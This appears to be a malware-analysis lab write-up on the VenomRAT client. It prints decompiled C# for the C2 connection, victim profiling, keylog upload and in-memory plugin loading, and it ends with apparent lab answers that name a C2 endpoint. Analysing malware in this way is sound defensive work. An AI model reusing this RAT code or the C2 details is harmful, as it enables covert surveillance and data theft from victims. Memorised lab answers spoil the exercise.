Remote Access Trojan

VenomRAT - ClientAny.exe

Author: Moise Medici
Updated: 15 Nov 2025 · Completed
Difficulty: Easy
Platform: Windows
Capabilities: Persistence Mechanisms Command Execution via Powershell Cmd Bash Data-Exfiltration
Tags: C#VenomRAT

`Client.Connection`

The Client.Connection class is relatively long, and it makes more sense to look at each method separately, starting from InitializeClient:

1
public static void InitializeClient()
2
{
3
    try
4
    {
5
        ClientSocket.TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
6
        {
7
            ReceiveBufferSize = 51200,
8
            SendBufferSize = 51200
9
        };
10
        if (Settings.Paste_bin == "null")
11
        {
12
            string text = Settings.Hos_ts.Split(new char[] { ',' })[new Random().Next(Settings.Hos_ts.Split(new char[] { ',' }).Length)];
13
            int num = Convert.ToInt32(Settings.Por_ts.Split(new char[] { ',' })[new Random().Next(Settings.Por_ts.Split(new char[] { ',' }).Length)]);
14
            if (ClientSocket.IsValidDomainName(text))
15
            {
16
                foreach (IPAddress ipaddress in Dns.GetHostAddresses(text))
17
                {
18
                    try
19
                    {
20
                        ClientSocket.TcpClient.Connect(ipaddress, num);
21
                        if (ClientSocket.TcpClient.Connected)
22
                        {
23
                            break;
24
                        }
25
                    }
26
                    catch
27
                    {
28
                    }
29
                }
30
            }
31
            else
32
            {
33
                ClientSocket.TcpClient.Connect(text, num);
34
            }
35
        }
36
        else
37
        {
38
            using (WebClient webClient = new WebClient())
39
            {
40
                NetworkCredential networkCredential = new NetworkCredential("", "");
41
                webClient.Credentials = networkCredential;
42
                string[] array = webClient.DownloadString(Settings.Paste_bin).Split(new string[] { ":" }, StringSplitOptions.None);
43
                Settings.Hos_ts = array[0];
44
                Settings.Por_ts = array[new Random().Next(1, array.Length)];
45
                ClientSocket.TcpClient.Connect(Settings.Hos_ts, Convert.ToInt32(Settings.Por_ts));
46
            }
47
        }
48
        if (ClientSocket.TcpClient.Connected)
49
        {
50
            ClientSocket.IsConnected = true;
51
            ClientSocket.SslClient = new SslStream(new NetworkStream(ClientSocket.TcpClient, true), false, new RemoteCertificateValidationCallback(ClientSocket.ValidateVenomServer));
52
            ClientSocket.SslClient.AuthenticateAsClient(ClientSocket.TcpClient.RemoteEndPoint.ToString().Split(new char[] { ':' })[0], null, SslProtocols.Tls, false);
53
            ClientSocket.HeaderSize = 4L;
54
            ClientSocket.Buffer = new byte[ClientSocket.HeaderSize];
55
            ClientSocket.Offset = 0L;
56
            ClientSocket.Send(IdSender.SendInfo());
57
            ClientSocket.Interval = 0;
58
            ClientSocket.ActivatePo_ng = false;
59
            ClientSocket.KeepAlive = new Timer(new TimerCallback(ClientSocket.KeepAlivePacket), null, new Random().Next(10000, 15000), new Random().Next(10000, 15000));
60
            ClientSocket.Ping = new Timer(new TimerCallback(ClientSocket.Po_ng), null, 1, 1);
61
            ClientSocket.SslClient.BeginRead(ClientSocket.Buffer, (int)ClientSocket.Offset, (int)ClientSocket.HeaderSize, new AsyncCallback(ClientSocket.ReadServertData), null);
62
        }
63
        else
64
        {
65
            ClientSocket.IsConnected = false;
66
        }
67
    }
68
    catch
69
    {
70
        ClientSocket.IsConnected = false;
71
    }
72
}

The first few lines are executed if Settings.Paste_bin is not configured. This means that the malware has not received the config from the paste site, but the values are hard-coded in the settings. It takes a random host and a random port from the list of hosts and ports configured. It then tries to resolve the domain and connect to the first IP address resolved.

1
string text = Settings.Hos_ts.Split(new char[] { ',' })[new Random().Next(Settings.Hos_ts.Split(new char[] { ',' }).Length)];
2
int num = Convert.ToInt32(Settings.Por_ts.Split(new char[] { ',' })[new Random().Next(Settings.Por_ts.Split(new char[] { ',' }).Length)]);
3
if (ClientSocket.IsValidDomainName(text))
4
{
5
    foreach (IPAddress ipaddress in Dns.GetHostAddresses(text))
6
    {
7
        try
8
        {
9
            ClientSocket.TcpClient.Connect(ipaddress, num);
10
            if (ClientSocket.TcpClient.Connected)
11
            {
12
                break;
13
            }
14
        }
15
        catch
16
        {
17
        }
18
    }
19
}

In the scenario where there is a Paste_bin address, the connection is taken from the first host and a random port from those presented in the file.

1
using (WebClient webClient = new WebClient())
2
{
3
    NetworkCredential networkCredential = new NetworkCredential("", "");
4
    webClient.Credentials = networkCredential;
5
    string[] array = webClient.DownloadString(Settings.Paste_bin).Split(new string[] { ":" }, StringSplitOptions.None);
6
    Settings.Hos_ts = array[0];
7
    Settings.Por_ts = array[new Random().Next(1, array.Length)];
8
    ClientSocket.TcpClient.Connect(Settings.Hos_ts, Convert.ToInt32(Settings.Por_ts));
9
}

Once a connection has been tested and established, it is verified by looking at the certificate that is provided by the server. The ValidateVenomServer method verifies that the certificate given by the server is the same as the one stored in the configuration.

1
ClientSocket.SslClient = new SslStream(new NetworkStream(ClientSocket.TcpClient, true), false, new RemoteCertificateValidationCallback(ClientSocket.ValidateVenomServer));

This is followed by a SendInfo() invocation:

1
ClientSocket.Send(IdSender.SendInfo());

The SendInfo method is in the Client.Helpers namespace and contains a list of all the data that are sent to the server:

1
namespace Client.Helper
2
{
3
  public static class IdSender
4
  {
5
    public static byte[] SendInfo()
6
    {
7
      MsgPack msgPack = new MsgPack();
8
      msgPack.ForcePathObject("Pac_ket").AsString = "ClientInfo";
9
      msgPack.ForcePathObject("ClientType").AsString = "Normal";
10
      msgPack.ForcePathObject("HWID").AsString = Settings.Hw_id;
11
      msgPack.ForcePathObject("DesktopName").AsString = Environment.MachineName;
12
      msgPack.ForcePathObject("User").AsString = Environment.UserName.ToString();
13
      msgPack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " + Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");
14
      msgPack.ForcePathObject("Camera").AsString = Camera.havecamera().ToString();
15
      msgPack.ForcePathObject("Path").AsString = Process.GetCurrentProcess().MainModule.FileName;
16
      msgPack.ForcePathObject("Version").AsString = Settings.Ver_sion;
17
      msgPack.ForcePathObject("Admin").AsString = Methods.IsAdmin().ToString().ToLower()
18
        .Replace("true", "Admin")
19
        .Replace("false", "User");
20
      msgPack.ForcePathObject("Perfor_mance").AsString = Methods.GetActiveWindowTitle();
21
      msgPack.ForcePathObject("Paste_bin").AsString = Settings.Paste_bin;
22
      msgPack.ForcePathObject("Anti_virus").AsString = Methods.Antivirus();
23
      msgPack.ForcePathObject("Install_ed").AsString = new FileInfo(Application.ExecutablePath).LastWriteTime.ToUniversalTime().ToString();
24
      msgPack.ForcePathObject("Po_ng").AsString = "";
25
      msgPack.ForcePathObject("Group").AsString = Settings.Group;
26
      msgPack.ForcePathObject("CPU").AsString = CGRInfo.GetCPUName();
27
      msgPack.ForcePathObject("GPU").AsString = CGRInfo.GetGPU();
28
      msgPack.ForcePathObject("RAM").AsString = CGRInfo.GetRAM();
29
      msgPack.ForcePathObject("apps").AsString = CGRInfo.GetInstalledApplications();
30
      msgPack.ForcePathObject("running").AsString = CGRInfo.GetUserProcessList();
31
      Keylogger.Params.LoadFromFile();
32
      msgPack.ForcePathObject("keylogsetting").AsString = Keylogger.Params.content;
33
      return msgPack.Encode2Bytes();
34
    }
35
  }
36
}

The full list is:

What is collected	Explanation
`Pac_ket`	A label indicating the message type, hardcoded as “ClientInfo”.
`ClientType`	Describes the type of client, such as “Normal”.
`HWID`	The device’s hardware ID, used to uniquely identify the machine.
`DesktopName`	The computer’s machine name from the operating system.
`User`	The username of the currently logged-in user.
`OS`	The operating system’s full name and whether it’s 64-bit or 32-bit.
`Camera`	Indicates whether a camera device is present.
`Path`	The full file path of the running executable.
`Version`	The application’s version number.
`Admin`	Whether the process is running with administrator privileges.
`Perfor_mance`	The title of the currently active window.
`Paste_bin`	The Pastebin value.
`Anti_virus`	The name of the installed antivirus product.
`Install_ed`	The timestamp of when the executable was installed.
`Po_ng`	An empty field, likely placeholder for ping or latency info.
`Group`	The `Group` value from the Settings, which is `Default`.
`CPU`	The system’s CPU name.
`GPU`	The system’s graphics processor information.
`RAM`	The amount or model of installed RAM.
`apps`	A list of installed applications.
`running`	A list of currently running processes.
`keylogsetting`	The keylogger configuration content.

After that, the following line allows the client to read data from the server:

1
ClientSocket.SslClient.BeginRead(ClientSocket.Buffer, (int)ClientSocket.Offset, (int)ClientSocket.HeaderSize, new AsyncCallback(ClientSocket.ReadServertData), null);

ReadServertData is not particularly interesting, as it handles all the TCP connection and packet reading. However, it calls the Read method, which is very interesting. The same applies for the other methods in this class: they are all used to manage the connection and packet transfer. Of more interest are the Read and the Invoke methods. Both of them deal with an aspect of VenomRAT that has not been touched on yet: plugins.

1
public static void Read(object data)
2
{
3
  try
4
  {
5
    MsgPack msgPack = new MsgPack();
6
    msgPack.DecodeFromBytes((byte[])data);
7
    string asString = msgPack.ForcePathObject("Pac_ket").AsString;
8
    uint num = <PrivateImplementationDetails>.ComputeStringHash(asString);
9
    if (num <= 1512954518U)
10
    {
11
      if (num <= 633420285U)
12
      {
13
        if (num != 38622820U)
14
        {
15
          if (num != 633420285U)
16
          {
17
            goto IL_46F;
18
          }
19
          if (!(asString == "plu_gin"))
20
          {
21
            goto IL_46F;
22
          }
23
          try
24
          {
25
            string asString2 = msgPack.ForcePathObject("Dll").AsString;
26
            if (SetRegistry.GetValue(asString2) == null)
27
            {
28
              ClientSocket.Packs.Add(msgPack);
29
              MsgPack msgPack2 = new MsgPack();
30
              msgPack2.ForcePathObject("Pac_ket").SetAsString("sendPlugin");
31
              msgPack2.ForcePathObject("Hashes").SetAsString(asString2);
32
              ClientSocket.Send(msgPack2.Encode2Bytes());
33
            }
34
            else
35
            {
36
              ClientSocket.Invoke(msgPack);
37
            }
38
            goto IL_46F;
39
          }
40
          catch (Exception ex)
41
          {
42
            ClientSocket.Error(ex.Message);
43
            goto IL_46F;
44
          }
45
        }
46
        else
47
        {
48
          if (!(asString == "HVNCStop"))
49
          {
50
            goto IL_46F;
51
          }
52
          goto IL_386;
53
        }
54
      }
55
      else if (num != 774213578U)
56
      {
57
        if (num != 1512954518U)
58
        {
59
          goto IL_46F;
60
        }
61
        if (!(asString == "loadofflinelog"))
62
        {
63
          goto IL_46F;
64
        }
65
        string text = "";
66
        if (File.Exists(KeylogParams.OfflineSaveFileName))
67
        {
68
          text = File.ReadAllText(KeylogParams.OfflineSaveFileName);
69
          File.Delete(KeylogParams.OfflineSaveFileName);
70
        }
71
        Logger.Log("\nOfflineKeylog sending....\n" + text);
72
        MsgPack msgPack3 = new MsgPack();
73
        msgPack3.ForcePathObject("Pac_ket").SetAsString("offlinelog");
74
        msgPack3.ForcePathObject("log").SetAsString(text);
75
        ClientSocket.Send(msgPack3.Encode2Bytes());
76
        goto IL_46F;
77
      }
78
      else if (!(asString == "save_Plugin"))
79
      {
80
        goto IL_46F;
81
      }
82
      SetRegistry.SetValue(msgPack.ForcePathObject("Hash").AsString, msgPack.ForcePathObject("Dll").GetAsBytes());
83
      using (List<MsgPack>.Enumerator enumerator = ClientSocket.Packs.ToList<MsgPack>().GetEnumerator())
84
      {
85
        while (enumerator.MoveNext())
86
        {
87
          MsgPack msgPack4 = enumerator.Current;
88
          if (msgPack4.ForcePathObject("Dll").AsString == msgPack.ForcePathObject("Hash").AsString)
89
          {
90
            ClientSocket.Invoke(msgPack4);
91
            ClientSocket.Packs.Remove(msgPack4);
92
          }
93
        }
94
        goto IL_46F;
95
      }
96
      IL_386:
97
      Program.StopHVNC();
98
    }
99
    else if (num <= 2737483663U)
100
    {
101
      if (num != 2576247050U)
102
      {
103
        if (num == 2737483663U)
104
        {
105
          if (asString == "runningapp")
106
          {
107
            MsgPack msgPack5 = new MsgPack();
108
            msgPack5.ForcePathObject("Pac_ket").SetAsString("runningapp");
109
            msgPack5.ForcePathObject("hwid").SetAsString(Settings.Hw_id);
110
            msgPack5.ForcePathObject("value").SetAsString(CGRInfo.GetUserProcessList());
111
            ClientSocket.Send(msgPack5.Encode2Bytes());
112
          }
113
        }
114
      }
115
      else if (asString == "keylogsetting")
116
      {
117
        Keylogger.Params.content = msgPack.ForcePathObject("value").AsString;
118
        Keylogger.Params.SaveToFile();
119
      }
120
    }
121
    else if (num != 4000839635U)
122
    {
123
      if (num != 4031341434U)
124
      {
125
        if (num == 4222846182U)
126
        {
127
          if (asString == "init_reg")
128
          {
129
            SetRegistry.InitRegistry();
130
            MsgPack msgPack6 = new MsgPack();
131
            msgPack6.ForcePathObject("Pac_ket").SetAsString("init_reg");
132
            ClientSocket.Send(msgPack6.Encode2Bytes());
133
          }
134
        }
135
      }
136
      else if (asString == "Po_ng")
137
      {
138
        ClientSocket.ActivatePo_ng = false;
139
        MsgPack msgPack7 = new MsgPack();
140
        msgPack7.ForcePathObject("Pac_ket").SetAsString("Po_ng");
141
        msgPack7.ForcePathObject("Message").SetAsInteger((long)ClientSocket.Interval);
142
        ClientSocket.Send(msgPack7.Encode2Bytes());
143
        ClientSocket.Interval = 0;
144
      }
145
    }
146
    else if (asString == "filterinfo")
147
    {
148
      MsgPack msgPack8 = new MsgPack();
149
      msgPack8.ForcePathObject("Pac_ket").SetAsString("filterinfo");
150
      msgPack8.ForcePathObject("hwid").SetAsString(Settings.Hw_id);
151
      msgPack8.ForcePathObject("apps").SetAsString(CGRInfo.GetInstalledApplications());
152
      msgPack8.ForcePathObject("running").SetAsString(CGRInfo.GetUserProcessList());
153
      ClientSocket.Send(msgPack8.Encode2Bytes());
154
    }
155
    IL_46F:;
156
  }
157
  catch (Exception ex2)
158
  {
159
    ClientSocket.Error(ex2.Message);
160
  }
161
}

At the beginning of the code there are two definitions:

1
string asString = msgPack.ForcePathObject("Pac_ket").AsString;
2
uint num = <PrivateImplementationDetails>.ComputeStringHash(asString);

The first one takes the Pac_ket from the data received and casts it to a string; this is used throughout this method as a command-and-control field. The second is a hash function that can be found by clicking on the ComputeStringHash name.

The following are the commands that can be sent:

plu_gin
HVNCStop
loadofflinelog
save_Plugin
runningapp
keylogsetting
init_reg
Po_ng
filterinfo

The plu_gin command expects the data received from the server to contain a Dll entry. If the HKCU\Software does not have the value contained in Dll, the client asks the server to send the plugin.

1
string asString2 = msgPack.ForcePathObject("Dll").AsString;
2
if (SetRegistry.GetValue(asString2) == null)
3
{
4
    ClientSocket.Packs.Add(msgPack);
5
    MsgPack msgPack2 = new MsgPack();
6
    msgPack2.ForcePathObject("Pac_ket").SetAsString("sendPlugin");
7
    msgPack2.ForcePathObject("Hashes").SetAsString(asString2);
8
    ClientSocket.Send(msgPack2.Encode2Bytes());
9
}

The way the HKCU\Software key was found is by looking at the Client.Helpers.SetRegistry class, which contains the GetValue method. It retrieves the key from Registry.CurrentUser and the subkey using the constant value found in the same file: private static readonly string ID = "Software\\" + Settings.Hw_id;. The goto IL_46F seen in the code is a jump instruction to the IL_46F label, which terminates the method call.

If the client already has the plugin in the registry it gets invoked via:

1
ClientSocket.Invoke(msgPack);

The HVNCStop command invokes the Program.StopHVNC method that was previously discussed.

loadofflinelog instructs the client to send the logs that have been saved in DataLogs_keylog_offline.txt.

SavePlugin takes the data sent from the server, sets the registry key as seen before, and runs Invoke on the data received.

1
SetRegistry.SetValue(msgPack.ForcePathObject("Hash").AsString, msgPack.ForcePathObject("Dll").GetAsBytes());
2
using (List<MsgPack>.Enumerator enumerator = ClientSocket.Packs.ToList<MsgPack>().GetEnumerator())
3
{
4
    while (enumerator.MoveNext())
5
    {
6
        MsgPack msgPack4 = enumerator.Current;
7
        if (msgPack4.ForcePathObject("Dll").AsString == msgPack.ForcePathObject("Hash").AsString)
8
        {
9
            ClientSocket.Invoke(msgPack4);
10
            ClientSocket.Packs.Remove(msgPack4);
11
        }
12
    }
13
    goto IL_46F;
14
}

The runningapp command instructs the client to send the Hw_id and the list of user processes running:

1
MsgPack msgPack5 = new MsgPack();
2
msgPack5.ForcePathObject("Pac_ket").SetAsString("runningapp");
3
msgPack5.ForcePathObject("hwid").SetAsString(Settings.Hw_id);
4
msgPack5.ForcePathObject("value").SetAsString(CGRInfo.GetUserProcessList());
5
ClientSocket.Send(msgPack5.Encode2Bytes());

The keylogsettings, init_reg and Po_ng respectively save the keylogger settings, delete the registry used by the sample, and maintain the connection open with the server, while filterinfo sends to the server the installed and running apps along with the client ID.

The Invoke method decompresses the Dll content and loads it directly in memory via the AppDomain.CurrentDomain.Load function. It then dynamically loads the Run method on the decompressed data. Optionally, it stops the HVNC as previously seen. Once everything is done, the client informs the server using the ClientSocket.Received method.

1
private static void Invoke(MsgPack unpack_msgpack)
2
{
3
  byte[] array = Zip.Decompress(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString));
4
  object obj = Activator.CreateInstance(AppDomain.CurrentDomain.Load(array).GetType("Plugin.Plugin"));
5
  string asString = unpack_msgpack.ForcePathObject("Info").AsString;
6
  try
7
  {
8
    if (string.IsNullOrEmpty(asString))
9
    {
10
      if (ClientSocket.<>o__53.<>p__0 == null)
11
      {
12
        ClientSocket.<>o__53.<>p__0 = CallSite<Action<CallSite, object, Socket, X509Certificate2, string, byte[], Mutex, string, string, string>>.Create(Binder.InvokeMember(CSharpBinderFlags.ResultDiscarded, "Run", null, typeof(ClientSocket), new CSharpArgumentInfo[]
13
        {
14
          CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null),
15
          CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null),
16
          CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null),
17
          CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null),
18
          CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null),
19
          CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null),
20
          CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null),
21
          CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null),
22
          CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null)
23
        }));
24
      }
25
      ClientSocket.<>o__53.<>p__0.Target(ClientSocket.<>o__53.<>p__0, obj, ClientSocket.TcpClient, Settings.Server_Certificate, Settings.Hw_id, unpack_msgpack.ForcePathObject("Msgpack").GetAsBytes(), MutexControl.currentApp, Settings.MTX, Settings.BS_OD, Settings.In_stall);
26
    }
27
    else if (asString == "hvnc")
28
    {
29
      Program.StopHVNC();
30
      int num = (int)unpack_msgpack.ForcePathObject("HPort").AsInteger;
31
      if (ClientSocket.<>o__53.<>p__1 == null)
32
      {
33
        ClientSocket.<>o__53.<>p__1 = CallSite<Action<CallSite, object, string, int>>.Create(Binder.InvokeMember(CSharpBinderFlags.ResultDiscarded, "Run", null, typeof(ClientSocket), new CSharpArgumentInfo[]
34
        {
35
          CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null),
36
          CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null),
37
          CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null)
38
        }));
39
      }
40
      ClientSocket.<>o__53.<>p__1.Target(ClientSocket.<>o__53.<>p__1, obj, Settings.Hos_ts, num);
41
    }
42
    ClientSocket.Received();
43
  }
44
  catch (Exception)
45
  {
46
  }

Answer 4: On connect, IdSender.SendInfo() ships a MsgPack ClientInfo packet holding the generated HWID, the machine name, the username, the OS name and bitness, whether a camera is present, the executable path and its install timestamp, admin or user context, the active window title, the antivirus product name, the configured Group, Version and Paste_bin values, CPU, GPU and RAM, the list of installed applications, the list of running user processes and the current keylogger settings. On top of that the keylogger ships DataLogs_keylog_online.txt every interval seconds, tagged with the Hw_id 5DEACD0D3625ECDCA44B and the string KeyLogger, deleting the file after each successful send. All of it goes to the single C2 taken from the paste, 1ri7zwh3k.localto.net:8301.
Answer 5: Yes, at both ends. The embedded configuration is AES-256 ciphertext, decrypted at startup by InitializeSettings with the key in Settings.Key and then validated by Settings.VerifyHash() against Server_signa_ture. The traffic is MsgPack encoded and carried over a TLS SslStream, and the server is pinned: ValidateVenomServer accepts the connection only if the certificate matches the one stored in the configuration, so the client only ever talks to the attacker’s own server.